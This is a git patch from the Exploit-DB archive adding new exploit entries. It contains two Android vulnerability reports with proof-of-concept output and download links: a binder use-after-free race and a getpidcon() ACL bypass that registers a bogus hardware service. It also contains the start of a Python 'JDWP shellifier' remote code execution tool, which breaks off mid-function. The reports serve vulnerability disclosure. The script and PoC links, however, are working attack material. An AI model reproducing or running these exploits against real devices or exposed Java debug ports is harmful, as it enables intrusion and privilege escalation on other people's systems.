From d5509de389ac7b6bdc9426172aead5d973086876 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 7 Mar 2019 05:01:53 +0000 Subject: [PATCH] DB: 2019-03-07 6 changes to exploits/shellcodes Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem Android - binder Use-After-Free via racy Initialization of ->allow_user_free Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass Java Debug Wire Protocol (JDWP) - Remote Code Execution Linux/x86 - XOR Encoder / Decoder execve() /bin/sh Shellcode (45 bytes) Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes) --- exploits/android/dos/46503.txt | 164 +++++++++ exploits/android/dos/46504.txt | 225 +++++++++++ exploits/java/remote/46501.py | 656 +++++++++++++++++++++++++++++++++ exploits/linux/dos/115.c | 42 +-- exploits/linux/dos/46502.txt | 112 ++++++ exploits/windows/dos/65.c | 34 +- files_exploits.csv | 4 + files_shellcodes.csv | 2 +- 8 files changed, 1200 insertions(+), 39 deletions(-) create mode 100644 exploits/android/dos/46503.txt create mode 100644 exploits/android/dos/46504.txt create mode 100755 exploits/java/remote/46501.py create mode 100644 exploits/linux/dos/46502.txt diff --git a/exploits/android/dos/46503.txt b/exploits/android/dos/46503.txt new file mode 100644 index 000000000..31d1f76d8 --- /dev/null +++ b/exploits/android/dos/46503.txt @@ -0,0 +1,164 @@ +The following bug report solely looks at the situation on the upstream master +branch; while from a cursory look, at least the wahoo kernel also looks +affected, I have only properly tested this on upstream master. + +The binder driver permits userspace to free buffers in the kernel-managed shared +memory region by using the BC_FREE_BUFFER command. This command implements the +following restrictions: + + - binder_alloc_prepare_to_free_locked() verifies that the pointer points to a + buffer + - binder_alloc_prepare_to_free_locked() verifies that the ->free_in_progress + flag is not yet set, and sets it + - binder_thread_write() verifies that the ->allow_user_free flag is set + +The first two of these checks happen with alloc->mutex held. + + +The ->free_in_progress flag can be set in the following places: + + - new buffers are allocated with kzalloc() and therefore have the flag set to 0 + - binder_alloc_prepare_to_free_locked() sets it to 1 when starting to free a + buffer + - binder_alloc_new_buf_locked() sets it to 0 when a buffer is allocated + +This means that a buffer coming from binder_alloc_new_buf() always has this flag +clear. + + +The ->allow_user_free flag can be set in the following places: + - new buffers are allocated with kzalloc() and therefore have the flag set to 0 + - binder_transaction() sets it to 0 after allocating a buffer with + binder_alloc_new_buf() + - binder_thread_read() sets it to 1 after an allocated buffer has been filled + with data for userspace + +This means that a buffer coming from binder_alloc_new_buf() may have the flag +either clear or set: If the buffer is new, the bit is 0; but if the buffer has +previously been used, the bit remains 1 from the previous use. + + +Therefore, it can be possible for userspace to free a buffer coming from +binder_alloc_new_buf(). Directly after the call to binder_alloc_new_buf(), +->allow_user_free is set to zero; but there is a small race window in which an +attacker can use BC_FREE_BUFFER to free the buffer. + + + +I am attaching a proof of concept for the upstream git master kernel running on +a normal desktop system. +Unpack the attached binder_race_freebuf.tar. +Patch the kernel with 0001-binder-race-helper.patch to widen the race window and +add some debug logging. Build it and boot into it. +Use ./compile.sh to build the PoC, then run ./poc as root. + +The output should look like this: +=============== +# ./poc +### FIRST PING +0000: 00 . 00 . 00 . 00 . +BR_NOOP: +BR_TRANSACTION: + target 0000000000000000 cookie 0000000000000000 code 00000001 flags 00000010 + pid 1192 uid 0 data 4 offs 0 +0000: 00 . 00 . 00 . 00 . +got transaction! +binder_send_reply(status=0) +offsets=0x7ffc68d94ec0, offsets_size=0 +BR_NOOP: +BR_TRANSACTION_COMPLETE: +BR_NOOP: +BR_TRANSACTION_COMPLETE: +BR_REPLY: + target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 + pid 0 uid 0 data 4 offs 0 +0000: 00 . 00 . 00 . 00 . +binder_done: freeing buffer +binder_done: free done +### SECOND PING +0000: 00 . 00 . 00 . 00 . +### ATTEMPTING FREE IN RACE WINDOW +### END OF FREE IN RACE WINDOW, FLUSHING PAGE +### END OF PAGE FLUSH +=============== + +You should see something like this in dmesg (if you have +/sys/module/binder/parameters/debug_mask set to 16383): +=============== +[ 71.555144] binder: binder_open: 1191:1191 +[ 71.557091] binder: binder_mmap: 1191 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025 +[ 71.560020] binder: 1191:1191 node 1 u0000000000000000 c0000000000000000 created +[ 71.563526] binder: 1191:1191 write 4 at 00007ffc68d95020, read 0 at 0000000000000000 +[ 71.566453] binder: 1191:1191 BC_ENTER_LOOPER +[ 71.568390] binder: 1191:1191 wrote 4 of 4, read return 0 of 0 +[ 71.571268] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020 +[ 72.555736] binder: binder_open: 1192:1192 +[ 72.558848] binder: binder_mmap: 1192 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025 +[ 72.564619] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20 +[ 72.568033] binder: 1192:1192 BC_TRANSACTION 2 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0 +[ 72.571666] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0) +[ 82.692703] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0) +[ 82.699956] binder: 1191:1191 BR_TRANSACTION 2 1192:1192, cmd -2143260158 size 4-0 ptr 00007f273d896000-00007f273d896008 +[ 82.707859] binder: 1191:1191 wrote 0 of 0, read return 72 of 128 +[ 82.712176] binder: 1191:1191 write 88 at 00007ffc68d94da0, read 0 at 0000000000000000 +[ 82.715038] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for active transaction +[ 82.717791] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11 +[ 82.720813] binder: 1191:1191 BC_REPLY 3 -> 1192:1192, data 00007ffc68d94ee0-00007ffc68d94ec0 size 4-0-0 +[ 82.723643] binder: [1191] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0) +[ 92.932760] binder: [1191] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0) +[ 92.939182] binder: 1191:1191 wrote 88 of 88, read return 0 of 0 +[ 92.939230] binder: 1192:1192 BR_TRANSACTION_COMPLETE +[ 92.943073] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020 +[ 92.943077] binder: 1191:1191 BR_TRANSACTION_COMPLETE +[ 92.943088] binder: 1191:1191 wrote 0 of 0, read return 8 of 128 +[ 92.946332] binder: 1192:1192 BR_REPLY 3 0:0, cmd -2143260157 size 4-0 ptr 00007f273d896000-00007f273d896008 +[ 92.949858] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020 +[ 92.952057] binder: 1192:1192 wrote 68 of 68, read return 76 of 128 +[ 92.963782] binder: 1192:1192 write 12 at 00007ffc68d94024, read 0 at 0000000000000000 +[ 92.966693] binder: 1192:1192 BC_FREE_BUFFER u00007f273d896000 found buffer 3 for finished transaction +[ 92.970073] binder: 1192 buffer release 3, size 4-0, failed at 000000004a5bea11 +[ 92.972570] binder: 1192:1192 wrote 12 of 12, read return 0 of 0 +[ 92.975094] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20 +[ 92.978318] binder: 1192:1192 BC_TRANSACTION 4 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0 +[ 92.981400] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=1 free_in_progress=0 free=0) +[ 93.975357] binder: 1191:1191 write 12 at 00007ffc68d94a60, read 0 at 0000000000000000 +[ 93.980201] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for finished transaction +[ 93.986293] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11 +[ 93.989411] binder: 1191:1191 wrote 12 of 12, read return 0 of 0 +[ 94.123942] poc (1191): drop_caches: 2 +[ 94.124975] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020 +[ 103.172683] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=1 free_in_progress=1 free=1) +[ 103.179477] BUG: pagefault on kernel address 0xffffc90001656000 in non-whitelisted uaccess +[ 103.184390] BUG: unable to handle kernel paging request at ffffc90001656000 +[ 103.186619] PGD 1ead31067 P4D 1ead31067 PUD 1eaeaa067 PMD 1e26bb067 PTE 0 +[ 103.188645] Oops: 0002 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN +[ 103.190386] CPU: 1 PID: 1192 Comm: poc Not tainted 4.20.0-rc3+ #221 +[ 103.192262] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 +[ 103.195468] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0 +[...] +[ 103.224384] Call Trace: +[ 103.225124] _copy_from_user+0x5e/0x90 +[ 103.226231] binder_transaction+0xe2c/0x3a70 +[...] +[ 103.245031] binder_thread_write+0x788/0x1b10 +[...] +[ 103.262718] binder_ioctl+0x916/0xe80 +[...] +[ 103.273723] do_vfs_ioctl+0x134/0x8f0 +[...] +[ 103.279071] ksys_ioctl+0x70/0x80 +[ 103.279968] __x64_sys_ioctl+0x3d/0x50 +[ 103.280998] do_syscall_64+0x73/0x160 +[ 103.281989] entry_SYSCALL_64_after_hwframe+0x44/0xa9 +[...] +[ 103.302367] ---[ end trace aa878f351ca08969 ]--- +[ 103.303412] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0 +[...] +[ 103.327111] binder: 1192 close vm area 7f273d896000-7f273dc96000 (4096 K) vma 18020051 pagep 8000000000000025 +[ 103.329459] binder: binder_flush: 1192 woke 0 threads +[ 103.329497] binder: binder_deferred_release: 1192 threads 1, nodes 0 (ref 0), refs 0, active transactions 0 +=============== + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46503.zip \ No newline at end of file diff --git a/exploits/android/dos/46504.txt b/exploits/android/dos/46504.txt new file mode 100644 index 000000000..a7bf829c3 --- /dev/null +++ b/exploits/android/dos/46504.txt @@ -0,0 +1,225 @@ +We already reported four bugs in Android that are caused by the use of +getpidcon(), which is fundamentally unsafe: + +https://bugs.chromium.org/p/project-zero/issues/detail?id=727 (AndroidID-27111481; unexploitable) +https://bugs.chromium.org/p/project-zero/issues/detail?id=851 (AndroidID-29431260; getpidcon() used in the servicemanager) +https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager) +https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore) + + +The bulletin entry for bug 1404 (in +https://source.android.com/security/bulletin/2018-01-01#system) points to the +following three commits: + +https://android.googlesource.com/platform/system/libhidl/+/a4d0252ab5b6f6cc52a221538e1536c5b55c1fa7 +"canCastInterface: always return true for IBase" +I'm not sure how this relates to the bug. + +https://android.googlesource.com/platform/system/tools/hidl/+/8539fc8ac94d5c92ef9df33675844ab294f68d61 +"Explicitly check processes are oneway" +Ensures that the caller PID isn't passed as zero. This addresses a second issue +that was mentioned in the bug report, but doesn't address the core issue. + +https://android.googlesource.com/platform/system/hwservicemanager/+/e1b4a889e8b84f5c13b76333d4de90dbe102a0de +"get selinux context on add call arrival." +"interfaceChain may take too long and allow for the PID to become invalidated." +This seems to be the patch that is intended to fix the core bug - but all it +does is to reduce the size of the race window, it does not address the actual +issue. + + +Overall, it looks like this vulnerability was not actually fixed. +A patch that merely reduces the size of a race window without eliminating it is, +in my opinion, not a valid fix for security issues that impact confidentiality +or integrity. + +(The situation in the classic servicemanager seems to be similar, except that it +has additional checks that very coarsely mitigate this class of issues based on +caller UIDs.) + +In my opinion, a proper fix should include tracking of caller SELinux contexts, +perhaps with context information pulled from the kernel on demand when needed. +I think you could e.g. implement this by stashing a refcounted pointer to the +caller's credentials in the struct binder_buffer in binder_transaction(), like +this: + + t->buffer->caller_cred = get_current_cred(); + +And then add a new ioctl to the binder device for looking up the SELinux context +associated with a transaction, somewhat similar to SO_PEERSEC: Take the alloc +mutex, look up the allocation for the provided userspace pointer, ensure that it +is user-freeable, take a reference to its creds, and drop the mutex. + +If for some reason, this still has too much overhead, you could also gate it on +opt-in by the receiving binder, similar to FLAT_BINDER_FLAG_ACCEPTS_FDS. + + +To demonstrate that this issue can indeed still be triggered, I have written a +PoC for the Pixel 2 (walleye), running build +"google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys" +(patch level "2018-12-05") that can register a second instance of +"android.hidl.manager@1.0::IServiceManager" with instance name +"bogusbogusbogus". + +Running it: + +===================================================================== +$ ./compile.sh && adb push master /data/local/tmp/ && adb shell /data/local/tmp/master +master: 1 file pushed. 12.6 MB/s (687184 bytes in 0.052s) +hexdump(0x7fc41de528, 0x50) +00000000 00 01 00 00 1a 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.| +00000010 6f 00 69 00 64 00 2e 00 6f 00 73 00 2e 00 49 00 |o.i.d...o.s...I.| +00000020 53 00 65 00 72 00 76 00 69 00 63 00 65 00 4d 00 |S.e.r.v.i.c.e.M.| +00000030 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 00 00 |a.n.a.g.e.r.....| +00000040 05 00 00 00 61 00 75 00 64 00 69 00 6f 00 00 00 |....a.u.d.i.o...| +BR_NOOP: +BR_TRANSACTION_COMPLETE: +BR_REPLY: + target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 + pid 0 uid 1000 data 24 offs 8 +hexdump(0x7ae2539000, 0x18) +00000000 85 2a 68 73 7f 01 00 00 01 00 00 00 00 00 00 00 |.*hs............| +00000010 00 00 00 00 00 00 00 00 |........| + - type 73682a85 flags 0000017f ptr 0000000000000001 cookie 0000000000000000 +binder_done: freeing buffer +binder_done: free done +got audio_handle: 0x1 +hexdump(0x7fc41df648, 0x40) +00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.| +00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.| +00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.| +00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...| +BR_NOOP: +BR_TRANSACTION_COMPLETE: +BR_REPLY: + target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 + pid 0 uid 1000 data 0 offs 0 +hexdump(0x7ae2539000, 0x0) +binder_done: freeing buffer +binder_done: free done +thread_spawner ready to transact +spam done +ready for delay... +14736 forking master... +14737 forking... +entering child: 14738 +pre-cycling... +cycle target is 14737 +first unused preceding pid is 13325 (3/No such process) +PIDs should be cycled now... +starting delay... +starting register transaction +hexdump(0x7ae2537f80, 0x94) +00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 6d 61 6e |android.hidl.man| +00000010 61 67 65 72 40 31 2e 30 3a 3a 49 53 65 72 76 69 |ager@1.0::IServi| +00000020 63 65 4d 61 6e 61 67 65 72 00 00 00 85 2a 74 70 |ceManager....*tp| +00000030 00 00 00 00 48 7f 53 e2 7a 00 00 00 10 00 00 00 |....H.S.z.......| +00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| +00000050 00 00 00 00 85 2a 74 70 01 00 00 00 60 4f 46 00 |.....*tp....`OF.| +00000060 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 |................| +00000070 00 00 00 00 00 00 00 00 00 00 00 00 85 2a 62 73 |.............*bs| +00000080 7f 01 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................| +00000090 00 00 00 00 |....| +BR_NOOP: +BR_INCREFS: + 0x7ae2537e18, 0x7ae2537e20 +BR_ACQUIRE: + 0x7ae2537e2c, 0x7ae2537e34 +BR_TRANSACTION_COMPLETE: +owner of to-be-reused PID 14737 is quitting now +BR_NOOP: +thread_spawner transacting now +hexdump(0x7fc41df648, 0x40) +00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.| +00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.| +00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.| +00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...| +BR_NOOP: +BR_TRANSACTION_COMPLETE: +BR_REPLY: + target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 + pid 0 uid 1000 data 8 offs 0 +hexdump(0x7ae2539000, 0x8) +00000000 00 00 00 00 00 00 00 00 |........| +binder_done: freeing buffer +binder_done: free done +pid 12645 quit: exit(0) +got delay: 017664533478 + SSSMMMUUUNNN +BR_NOOP: +BR_TRANSACTION: + target 0000000000000001 cookie 0000000000000000 code 0f43484e flags 00000010 + pid 588 uid 1000 data 32 offs 0 +hexdump(0x7ae2539000, 0x20) +00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 62 61 73 |android.hidl.bas| +00000010 65 40 31 2e 30 3a 3a 49 42 61 73 65 00 00 00 00 |e@1.0::IBase....| +got binder call +binder_send_reply(status=0) +offsets=0x7ae2537c88, offsets_size=32 +BR_NOOP: +BR_TRANSACTION_COMPLETE: +BR_NOOP: +BR_REPLY: + target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 + pid 0 uid 1000 data 8 offs 0 +hexdump(0x7ae2539000, 0x8) +00000000 00 00 00 00 01 00 00 00 |........| +binder_done: freeing buffer +binder_done: free done +REGISTRATION OVER +pid 12644 quit: exit(0) +===================================================================== + +Note: It will probably take a few minutes when you run it the first time because +it has to create a 16GB file on disk. + +Once the PoC has printed "REGISTRATION OVER", the bogus hardware service should +have been registered. The PoC will keep running to keep the bogus service alive. + +At this point, you can check whether it worked: + +===================================================================== +walleye:/ $ getprop ro.build.fingerprint +google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys +walleye:/ $ lshal 2>/dev/null | grep ISensorManager + android.frameworks.sensorservice@1.0::ISensorManager/bogusbogusbogus N/A N/A + android.frameworks.sensorservice@1.0::ISensorManager/default N/A N/A +walleye:/ $ +===================================================================== + + +Some detail on how the PoC works: + +master.c coordinates execution. +register.c takes care of setting up two processes that share memory mappings, +wrapping the PID counter, registering a service and relinquishing the PID at the +right time. +thread_spawner.c uses the unloadSoundEffects() and loadSoundEffects() RPC calls +on android.media.IAudioService to create a thread in system_server, reusing the +PID relinquished by register.c. +reload_timer.c stalls slowpath lookups of entries in /proc for ~15 seconds by +abusing that Linux 4.4's sys_getdents64() exclusively locks the inode across the +entire readdir operation, including all usercopy accesses, combined with a +series of uncached 4k file mappings and a lack of priority inheritance in kernel +mutexes. Stalling slowpath lookups of /proc entries causes getpidcon() to block +on opening /proc/$pid/attr/current. + +See also the attached timing diagram. + + +Oh, by the way, something else that I'm not actually using here, and that +doesn't really have any direct security impact, but that looks unintended: +/dev/binder sets the VM_DONTCOPY flag on the VMA, but because it doesn't also +set VM_IO, it is possible to use madvise(..., MADV_DOFORK) to clear that flag: + + case MADV_DOFORK: + if (vma->vm_flags & VM_IO) { + error = -EINVAL; + goto out; + } + new_flags &= ~VM_DONTCOPY; + break; + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46504.zip \ No newline at end of file diff --git a/exploits/java/remote/46501.py b/exploits/java/remote/46501.py new file mode 100755 index 000000000..731d2241f --- /dev/null +++ b/exploits/java/remote/46501.py @@ -0,0 +1,656 @@ +#!/usr/bin/python +################################################################################ +# +# Universal JDWP shellifier +# +# @_hugsy_ +# +# And special cheers to @lanjelot +# + +import socket +import time +import sys +import struct +import urllib +import argparse + + + +################################################################################ +# +# JDWP protocol variables +# +HANDSHAKE = "JDWP-Handshake" + +REQUEST_PACKET_TYPE = 0x00 +REPLY_PACKET_TYPE = 0x80 + +# Command signatures +VERSION_SIG = (1, 1) +CLASSESBYSIGNATURE_SIG = (1, 2) +ALLCLASSES_SIG = (1, 3) +ALLTHREADS_SIG = (1, 4) +IDSIZES_SIG = (1, 7) +CREATESTRING_SIG = (1, 11) +SUSPENDVM_SIG = (1, 8) +RESUMEVM_SIG = (1, 9) +SIGNATURE_SIG = (2, 1) +FIELDS_SIG = (2, 4) +METHODS_SIG = (2, 5) +GETVALUES_SIG = (2, 6) +CLASSOBJECT_SIG = (2, 11) +INVOKESTATICMETHOD_SIG = (3, 3) +REFERENCETYPE_SIG = (9, 1) +INVOKEMETHOD_SIG = (9, 6) +STRINGVALUE_SIG = (10, 1) +THREADNAME_SIG = (11, 1) +THREADSUSPEND_SIG = (11, 2) +THREADRESUME_SIG = (11, 3) +THREADSTATUS_SIG = (11, 4) +EVENTSET_SIG = (15, 1) +EVENTCLEAR_SIG = (15, 2) +EVENTCLEARALL_SIG = (15, 3) + +# Other codes +MODKIND_COUNT = 1 +MODKIND_THREADONLY = 2 +MODKIND_CLASSMATCH = 5 +MODKIND_LOCATIONONLY = 7 +EVENT_BREAKPOINT = 2 +SUSPEND_EVENTTHREAD = 1 +SUSPEND_ALL = 2 +NOT_IMPLEMENTED = 99 +VM_DEAD = 112 +INVOKE_SINGLE_THREADED = 2 +TAG_OBJECT = 76 +TAG_STRING = 115 +TYPE_CLASS = 1 + + +################################################################################ +# +# JDWP client class +# +class JDWPClient: + + def __init__(self, host, port=8000): + self.host = host + self.port = port + self.methods = {} + self.fields = {} + self.id = 0x01 + return + + def create_packet(self, cmdsig, data=""): + flags = 0x00 + cmdset, cmd = cmdsig + pktlen = len(data) + 11 + pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags), chr(cmdset), chr(cmd)) + pkt+= data + self.id += 2 + return pkt + + def read_reply(self): + header = self.socket.recv(11) + pktlen, id, flags, errcode = struct.unpack(">IIcH", header) + + if flags == chr(REPLY_PACKET_TYPE): + if errcode : + raise Exception("Received errcode %d" % errcode) + + buf = "" + while len(buf) + 11 < pktlen: + data = self.socket.recv(1024) + if len(data): + buf += data + else: + time.sleep(1) + return buf + + def parse_entries(self, buf, formats, explicit=True): + entries = [] + index = 0 + + + if explicit: + nb_entries = struct.unpack(">I", buf[:4])[0] + buf = buf[4:] + else: + nb_entries = 1 + + for i in range(nb_entries): + data = {} + for fmt, name in formats: + if fmt == "L" or fmt == 8: + data[name] = int(struct.unpack(">Q",buf[index:index+8]) [0]) + index += 8 + elif fmt == "I" or fmt == 4: + data[name] = int(struct.unpack(">I", buf[index:index+4])[0]) + index += 4 + elif fmt == 'S': + l = struct.unpack(">I", buf[index:index+4])[0] + data[name] = buf[index+4:index+4+l] + index += 4+l + elif fmt == 'C': + data[name] = ord(struct.unpack(">c", buf[index])[0]) + index += 1 + elif fmt == 'Z': + t = ord(struct.unpack(">c", buf[index])[0]) + if t == 115: + s = self.solve_string(buf[index+1:index+9]) + data[name] = s + index+=9 + elif t == 73: + data[name] = struct.unpack(">I", buf[index+1:index+5])[0] + buf = struct.unpack(">I", buf[index+5:index+9]) + index=0 + + else: + print "Error" + sys.exit(1) + + entries.append( data ) + + return entries + + def format(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.pack(">Q", value) + elif fmt == "I" or fmt == 4: + return struct.pack(">I", value) + + raise Exception("Unknown format") + + def unformat(self, fmt, value): + if fmt == "L" or fmt == 8: + return struct.unpack(">Q", value[:8])[0] + elif fmt == "I" or fmt == 4: + return struct.unpack(">I", value[:4])[0] + else: + raise Exception("Unknown format") + return + + def start(self): + self.handshake(self.host, self.port) + self.idsizes() + self.getversion() + self.allclasses() + return + + def handshake(self, host, port): + s = socket.socket() + try: + s.connect( (host, port) ) + except socket.error as msg: + raise Exception("Failed to connect: %s" % msg) + + s.send( HANDSHAKE ) + + if s.recv( len(HANDSHAKE) ) != HANDSHAKE: + raise Exception("Failed to handshake") + else: + self.socket = s + + return + + def leave(self): + self.socket.close() + return + + def getversion(self): + self.socket.sendall( self.create_packet(VERSION_SIG) ) + buf = self.read_reply() + formats = [ ('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), + ('S', "vmVersion"), ('S', "vmName"), ] + for entry in self.parse_entries(buf, formats, False): + for name,value in entry.iteritems(): + setattr(self, name, value) + return + + @property + def version(self): + return "%s - %s" % (self.vmName, self.vmVersion) + + def idsizes(self): + self.socket.sendall( self.create_packet(IDSIZES_SIG) ) + buf = self.read_reply() + formats = [ ("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), + ("I", "referenceTypeIDSize"), ("I", "frameIDSize") ] + for entry in self.parse_entries(buf, formats, False): + for name,value in entry.iteritems(): + setattr(self, name, value) + return + + def allthreads(self): + try: + getattr(self, "threads") + except : + self.socket.sendall( self.create_packet(ALLTHREADS_SIG) ) + buf = self.read_reply() + formats = [ (self.objectIDSize, "threadId")] + self.threads = self.parse_entries(buf, formats) + finally: + return self.threads + + def get_thread_by_name(self, name): + self.allthreads() + for t in self.threads: + threadId = self.format(self.objectIDSize, t["threadId"]) + self.socket.sendall( self.create_packet(THREADNAME_SIG, data=threadId) ) + buf = self.read_reply() + if len(buf) and name == self.readstring(buf): + return t + return None + + def allclasses(self): + try: + getattr(self, "classes") + except: + self.socket.sendall( self.create_packet(ALLCLASSES_SIG) ) + buf = self.read_reply() + formats = [ ('C', "refTypeTag"), + (self.referenceTypeIDSize, "refTypeId"), + ('S', "signature"), + ('I', "status")] + self.classes = self.parse_entries(buf, formats) + + return self.classes + + def get_class_by_name(self, name): + for entry in self.classes: + if entry["signature"].lower() == name.lower() : + return entry + return None + + def get_methods(self, refTypeId): + if not self.methods.has_key(refTypeId): + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall( self.create_packet(METHODS_SIG, data=refId) ) + buf = self.read_reply() + formats = [ (self.methodIDSize, "methodId"), + ('S', "name"), + ('S', "signature"), + ('I', "modBits")] + self.methods[refTypeId] = self.parse_entries(buf, formats) + return self.methods[refTypeId] + + def get_method_by_name(self, name): + for refId in self.methods.keys(): + for entry in self.methods[refId]: + if entry["name"].lower() == name.lower() : + return entry + return None + + def getfields(self, refTypeId): + if not self.fields.has_key( refTypeId ): + refId = self.format(self.referenceTypeIDSize, refTypeId) + self.socket.sendall( self.create_packet(FIELDS_SIG, data=refId) ) + buf = self.read_reply() + formats = [ (self.fieldIDSize, "fieldId"), + ('S', "name"), + ('S', "signature"), + ('I', "modbits")] + self.fields[refTypeId] = self.parse_entries(buf, formats) + return self.fields[refTypeId] + + def getvalue(self, refTypeId, fieldId): + data = self.format(self.referenceTypeIDSize, refTypeId) + data+= struct.pack(">I", 1) + data+= self.format(self.fieldIDSize, fieldId) + self.socket.sendall( self.create_packet(GETVALUES_SIG, data=data) ) + buf = self.read_reply() + formats = [ ("Z", "value") ] + field = self.parse_entries(buf, formats)[0] + return field + + def createstring(self, data): + buf = self.buildstring(data) + self.socket.sendall( self.create_packet(CREATESTRING_SIG, data=buf) ) + buf = self.read_reply() + return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) + + def buildstring(self, data): + return struct.pack(">I", len(data)) + data + + def readstring(self, data): + size = struct.unpack(">I", data[:4])[0] + return data[4:4+size] + + def suspendvm(self): + self.socket.sendall( self.create_packet( SUSPENDVM_SIG ) ) + self.read_reply() + return + + def resumevm(self): + self.socket.sendall( self.create_packet( RESUMEVM_SIG ) ) + self.read_reply() + return + + def invokestatic(self, classId, threadId, methId, *args): + data = self.format(self.referenceTypeIDSize, classId) + data+= self.format(self.objectIDSize, threadId) + data+= self.format(self.methodIDSize, methId) + data+= struct.pack(">I", len(args)) + for arg in args: + data+= arg + data+= struct.pack(">I", 0) + + self.socket.sendall( self.create_packet(INVOKESTATICMETHOD_SIG, data=data) ) + buf = self.read_reply() + return buf + + def invoke(self, objId, threadId, classId, methId, *args): + data = self.format(self.objectIDSize, objId) + data+= self.format(self.objectIDSize, threadId) + data+= self.format(self.referenceTypeIDSize, classId) + data+= self.format(self.methodIDSize, methId) + data+= struct.pack(">I", len(args)) + for arg in args: + data+= arg + data+= struct.pack(">I", 0) + + self.socket.sendall( self.create_packet(INVOKEMETHOD_SIG, data=data) ) + buf = self.read_reply() + return buf + + def solve_string(self, objId): + self.socket.sendall( self.create_packet(STRINGVALUE_SIG, data=objId) ) + buf = self.read_reply() + if len(buf): + return self.readstring(buf) + else: + return "" + + def query_thread(self, threadId, kind): + data = self.format(self.objectIDSize, threadId) + self.socket.sendall( self.create_packet(kind, data=data) ) + buf = self.read_reply() + return + + def suspend_thread(self, threadId): + return self.query_thread(threadId, THREADSUSPEND_SIG) + + def status_thread(self, threadId): + return self.query_thread(threadId, THREADSTATUS_SIG) + + def resume_thread(self, threadId): + return self.query_thread(threadId, THREADRESUME_SIG) + + def send_event(self, eventCode, *args): + data = "" + data+= chr( eventCode ) + data+= chr( SUSPEND_ALL ) + data+= struct.pack(">I", len(args)) + + for kind, option in args: + data+= chr( kind ) + data+= option + + self.socket.sendall( self.create_packet(EVENTSET_SIG, data=data) ) + buf = self.read_reply() + return struct.unpack(">I", buf)[0] + + def clear_event(self, eventCode, rId): + data = chr(eventCode) + data+= struct.pack(">I", rId) + self.socket.sendall( self.create_packet(EVENTCLEAR_SIG, data=data) ) + self.read_reply() + return + + def clear_events(self): + self.socket.sendall( self.create_packet(EVENTCLEARALL_SIG) ) + self.read_reply() + return + + def wait_for_event(self): + buf = 